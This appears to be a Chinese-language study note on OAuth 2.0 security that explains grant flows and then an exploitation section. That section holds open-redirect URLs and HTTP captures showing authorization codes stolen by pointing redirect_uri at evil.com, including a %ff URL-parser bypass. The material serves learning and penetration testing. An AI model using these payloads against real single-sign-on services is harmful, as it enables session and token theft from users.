Access Control - OAuth 安全
OAuth 用于避免多次输入密码产生,它也减少攻击面,只需一套登陆机制。
OAuth 也有好几个版本 1.0、2.0 到最新的 2.1
目录
- 目录
- 学习材料🔨
- 1 OAuth 授权类型认证过程
- 1.1 Authorization Code Grant
- 1.2 Resource Owner Password Credentials Grant
- 1.3 Implicit Grant(deprecated)🔨
- 1.4 Client Credentials(deprecated)🔨
- 编码实现 OAuth 认证🔨
- 2 利用
- 3 靶场练习
- 参考资料
学习材料🔨
原理
http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html
https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html
https://www.ruanyifeng.com/blog/2019/04/github-oauth.html
看到某个认证头要反应是什么技术:
阅读关于 OAuth RFC 文档。
漏洞
待看文章
- https://github.com/imran-parray/Mind-Maps,去找里面OAuth2.0思维导图
- https://www.youtube.com/watch?v=X0mV9HXbKHY
- HackerOne 实战案例
- 乌云实战案例
- 赏金实战案例
- https://www.oauth.com/oauth2-servers/background/,OAuth 小书
- The OAuth 2.0 Authorization Framework RFC Document
- The OAuth 2.1 Authorization Framework RFC Document
- OAuth 2.0 Security Best Current Practice RFC 草案
- OAuth 2.0 for Browser-Based Apps
- 关于 OAuth 的 RFC 文档合集 https://tools.ietf.org/wg/oauth/
- 《OAuth2实战.pdf》
BlackHat 议题:
- 链接:https://www.blackhat.com/asia-19/briefings/schedule/#make-redirection-evil-again---url-parser-issues-in-oauth-13704
- 议题工具:https://github.com/SaneBow/redirect-fuzzer
- PPT: bh-asia-Wang-Make-Redirection-Evil-Again.pdf
- 白皮书: bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf
OAuth常见利用总结:https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf
1 OAuth 授权类型认证过程
最常用的是授权码和隐式授权这两种类型,其他的可以暂时不用学。
https://datatracker.ietf.org/doc/html/rfc6749#section-1.1
看过程前要先了解有几个角色,分别是做什么的,后面看交互才不会茫然,不知所云。
- resource owner,因为资源是用户产生的通常指用户。
- resource server,存放资源的服务器,你要想获取资源拿 Token 来
- client,通常是第三方应用服务器。
- authorization server,颁发 Token 的服务器
结合最新 OAuth 2.1 来看现有授权流程,为什么有些授权不建议使用。
1.1 Authorization Code Grant
RFC 流程图
+----------+ | Resource | | Owner | | | +----------+ ^ | (B) +----|-----+ Client Identifier +---------------+ | -+----(A)-- & Redirection URI ---->| | | User- | | Authorization | | Agent -+----(B)-- User authenticates --->| Server | | | | | | -+----(C)-- Authorization Code ---<| | +-|----|---+ +---------------+ | | ^ v (A) (C) | | | | | | ^ v | | +---------+ | | | |>---(D)-- Authorization Code ---------' | | Client | & Redirection URI | | | | | |<---(E)----- Access Token -------------------' +---------+ (w/ Optional Refresh Token) Note: The lines illustrating steps (A), (B), and (C) are broken into two parts as they pass through the user-agent. Figure 3: Authorization Code Flow
1.用户访问应用,应用将用户重定向到 OAuth 服务器,其参数还携带这当前应用 URL,需要访问的信息。
2.OAuth 向用户取得授权,并展示某个应用需要获取哪些信息,并向用户寻求授权意见。
3.授权成功 OAuth 服务器生成 Authorization Code,并重定向回应用(前面有回调 URL 所以可以重定向回应用不迷路)。
4.后端应用拿 Authorization Code 向 OAuth 服务器获取 Access Token。请求最好从后端发而不是前端,不然知道接口有可能劫持到授权码就得到 Access Token。
5.后续用户操作客户端,客户端就会拿着 Access Token 访问应用资源服务器,应用资源服务器首先向 OAuth 传递 Access Token 检查是否有效,确定有效就返回资源。
有时候资源应用服务器和第三方应用服务器是融合在一起的,既有资源又是应用。
从头到尾整个授权结果是为了拿 AcessToken。
Client 注册
Client 将用户重定向到 OAuth 服务器,第一步是验证 Client 身份,这也很好理解,应用要想拿到 Token 一定是要在 OAuth 服务器登记过,不然我咋知道你是不是骗用户授权来偷数据。
登记需要哪些东西呢?
- Redirection Endpoint(Client Callback URL)
注册成功后应用会 OAuth 服务生成 Client Identifier 标识应用和 Client secrets 获取 Access Token,通常是字母加数字。
Client 身份识别
第三方应用携带 client_id、redirect_uri、scope 参数重定向到 OAuth 服务器。
OAuth 服务器先检查 client_id 存不存在,不存在说明应用没注册。redirect_uri 是不是不匹配,不匹配说明跟注册时的回调 URL 不匹配,防止授权码传递到其他域名上。scope 用来确定不会超出注册时的权限,申请使用的权限超出注册权限说明越权。
参数校验完成才会生成授权页面。
用户授权
授权页面上允许用户选择应用获取什么权限。
用户确认授权后 OAuth 服务器检查用户传递来 scope 参数权限范围和第三方应用注册的权限是否匹配。
再检查一次 scope 原因让用户再次确认要给第三方应用的权限是不是正确的。
生成授权码
生成之前会检查 GET 参数 response_type 是不是 code,一般授权码默认是 code。
生成的授权码有效期一般是 5 分钟,只能使用一次。
生成的授权码要和 scope 做个绑定,方便后面获取 Token 时做数据传递,最终是要 Token 也绑定上 scope,以后资源服务器拿着 Token 可以检查权限。
生成完授权码需要重定向回第三方应用,URL 用的是注册时的回调 URL。
获取 Access Token
第三方应用前端拿到 code 后会将 code 发送到自己后端服务器。
后端服务器拿着 code、client_secret、client_id 向 OAuth 服务器取 Access Token。
Token 生成要求随机无法被猜测,生成后要设置过期时间。
为了后续检查 Token 权限方便需要和 scope 做个绑定。
获取完 Token 需要删除 code。
问题🔨
Q1:仔细观察整个流程,OAuth 服务器成功接收到用户授权后为什么不能返回 Token 给客户端呢?反倒多一步搞个授权码,它的意义是什么?
Q2:Access Token 过期怎么办?
A2:Access Token 有效期过短需要用户不断的重新登录,用户体验不好。由此引入 refresh_token,当 Access Token 快过期就 refresh_token 去重新获取一个新的 Token,旧 Token 失效。引入场景也是用 code 换 Access Token 时也返回 refresh_token。刷新令牌也是有过期时间的,一旦过期,AccessToken 和 RefreshToken 都要失效,必须让用户重新授权。
检测有两种方案:
- 前端设置定时器检查 Token 有效性,一旦过期就去获取 Token,是主动的方案
- 正常请求直到服务器返回 Token 无效再重新获取 Token,只能等到服务器返回 Token 无效感觉会被动
Q3:真实应用请求过程分析
Q4:SSO 与 OAuth 关系
A5:在 SSO 上遇到过。通过登录密码,授权码方式来访问应用。
PKCE🔨
OAuth 2.0 新增的扩展规范,在 OAuth 2.1 变成默认规范。
只是授权码许可的增强版。
1.2 Resource Owner Password Credentials Grant
使用资源拥有者凭证许可避免每次都拿自己账户的用户名和密码去验证身份访问资源,这样会增加账户泄露的风险,换成资源拥有者凭证许可后,只有第一次认证要拿账户换成 Token,后续只用 Token 进行认证。
1.访问应用,输入自己的用户名密码做认证。
2.第三方应用拿着客户的账户和在 OAuth 注册的信息向 OAuth 发起认证。OAuth 检查第三方应用在 OAuth 注册信息,传过来的账户确实属于第三方应用并且有效,直接返回 Token
3.第三方应用后续拿着 Token 访问资源即可。
和授权码相比 grant_type=password 授权是返回 Token 给应用,这就要求第三方应用服务是可信的,不然它把账户偷走就能随意访问资源服务器上的内容。一般来说这个应用和 OAuth 是一家公司的,不涉及第三方使用才选择此模式。
1.3 Implicit Grant(deprecated)🔨
比授权码简单,访问应用后点击登录,跳转到 OAuth 客户点击同意授权后直接返回 Access Token 给应用前端进行保存,隐藏了授权码兑换这个过程。通常这种模式用在前端应用上。
1.4 Client Credentials(deprecated)🔨
https://datatracker.ietf.org/doc/html/rfc6749#section-4.4
编码实现 OAuth 认证🔨
https://time.geekbang.org/column/intro/100053901
通过微信公众号开发深入了解认证。
2 利用
2.1 Open Redirection
常在 SSO 的重定向上看到此漏洞,在退出登陆注销完会话会设置 redirect_uri 参数跳转到官网,但是没有验证要跳转的域名对不对,所以存在任意重定向。
1.未验证退出时要跳转的 URL
访问 URL,其中 redirect_uri 参数可以跳转任意URL。
https://example.com.cn/oauth/remove/token?redirect_uri=https://eval.com
2.登陆和登出未验证要跳转的 URL
打开 SSO 后发现 Ajax 请求
https://www.example.com.cn/login/steam?callback=getResult&task=base&redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html&_=1620541543355
响应 JSONP 数据。
getResult({"status":"success","result":{"loginUrl":"http:\/\/www.example.com.cn\/sso\/steamLogin?redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html","logoutUrl":"http:\/\/www.example.com.cn\/sso\/steamLogout?redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html","steamId":"0","isLogin":false,"nickname":"0","avatar":null}})
其中 loginurl 和 logouturl 存在任意重定向漏洞。logouturl 绕过,跳到 https:// http:// 都可以。
https://www.example.com.cn/steam-cn-sso/logout?redirect=//www.csgo.com.cn.raingray.com
打开 302 跳转至 www.example.com.cn.raingray.com。
2.2 CSRF intercept authorization code and hijack a session
访问应用功能因为没有登陆自动跳转到 SSO 要求登陆,登陆成功时把授权码重定向回 SSO 应用,用来获取授权码。
POST /login HTTP/1.1
Host: sso.example.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Origin: https://sso.example.com.cn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.example.com.cn/assit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
_csrf=19938888380109911&usernmae=user01&password=19371183B1238J10ALA6
HTTP/1.1 302
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 0
Set-Cookie: SESSION=NzJhY2Q3sij2ji3o2u48902hjkls; Path=/; HttpOnly; SameSite=Lax
Location: https://sso.example.com.cn/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://www.example.com.cn
通过 Cookie 获取到授权码 JA7uR8,这时候地址栏上会有 GET 参数 redirect_uri,是用来将授权码 302 重定向到应用,由应用来兑换凭证。
GET /oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://www.example.com.cn HTTP/1.1
Host: sso.example.com.cn
Accept: */*
Authorization:
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Referer: https://www.example.com.cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: SESSION=NzJhY2Q3sij2ji3o2u48902hjkls
Connection: close
Content-Type: application/x-www-form-urlencoded
HTTP/1.1 302
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 0
Location: https://www.example.com.cn?code=JA7uR8
POST /oauth/token HTTP/1.1
Host: www.example.com.cn
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Accept: */*
Authorization:
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Origin: https://www.example.com.cn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.example.com.cn/?code=TTBs7V
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
grant_type=authorization_code&client_id=gbebs&client_secret=1234&code=l4FHcZ&redirect_uri=https://evil.com%ff@lzpl.example.com.cn
HTTP/1.1 200
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Type: application/json;charset=UTF-8
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 125
{"access_token":"3e12eecb-0b67-48ec-ac48-9a610f8360a8","token_type":"bearer","expires_in":74,"scope":"all","userId":"XXX000"}
在实际测试过程中直接篡改 redirect_uri,用户在 SSO 登陆成功后会把到授权码发到恶意的域名上,相当于截取授权码,恶意应用直接请求授权码兑换 API 就可以获取凭证。
https://example.com/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://evil.com
如果 redirect_uri 检查实在绕不过,尝试找一个白名单应用,挖这个应用的漏洞来想办法将授权码发送攻击者服务器上,比如说 Open Redirector 来获取,SSO 通过跟随重定向来跳转指定应用窃取 auth code。
或者使用 %ff
绕过 redirect_uri 限制,POC 原理参见 https://hackerone.com/reports/108113。
https://example.com/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://evil.com%ff@www.example.com
这些问题根源都是 Browser、URL Parser 问题,突然想起 SSRF 也是如此。在挖掘思路上可以往这两个点上靠,浏览器和 URl 解析库都是基于 HTTP 协议 RCF 文档实现,只要挖出 URL Parser 问题那么直接利用,挖 Browser 则不会有太多益处,个人认为是各家浏览器对 HTTP 规范实现上都各有不同,出成果比较难以通用。
修复授权码泄露可以直接在代码里硬编码 URL。
3 靶场练习
Web Security Academy
https://portswigger.net/web-security/oauth
PentesterLab
- PentesterLab,https://pentesterlab.com/exercises 搜 OAuth2 关键字
参考资料
最近更新:
发布时间: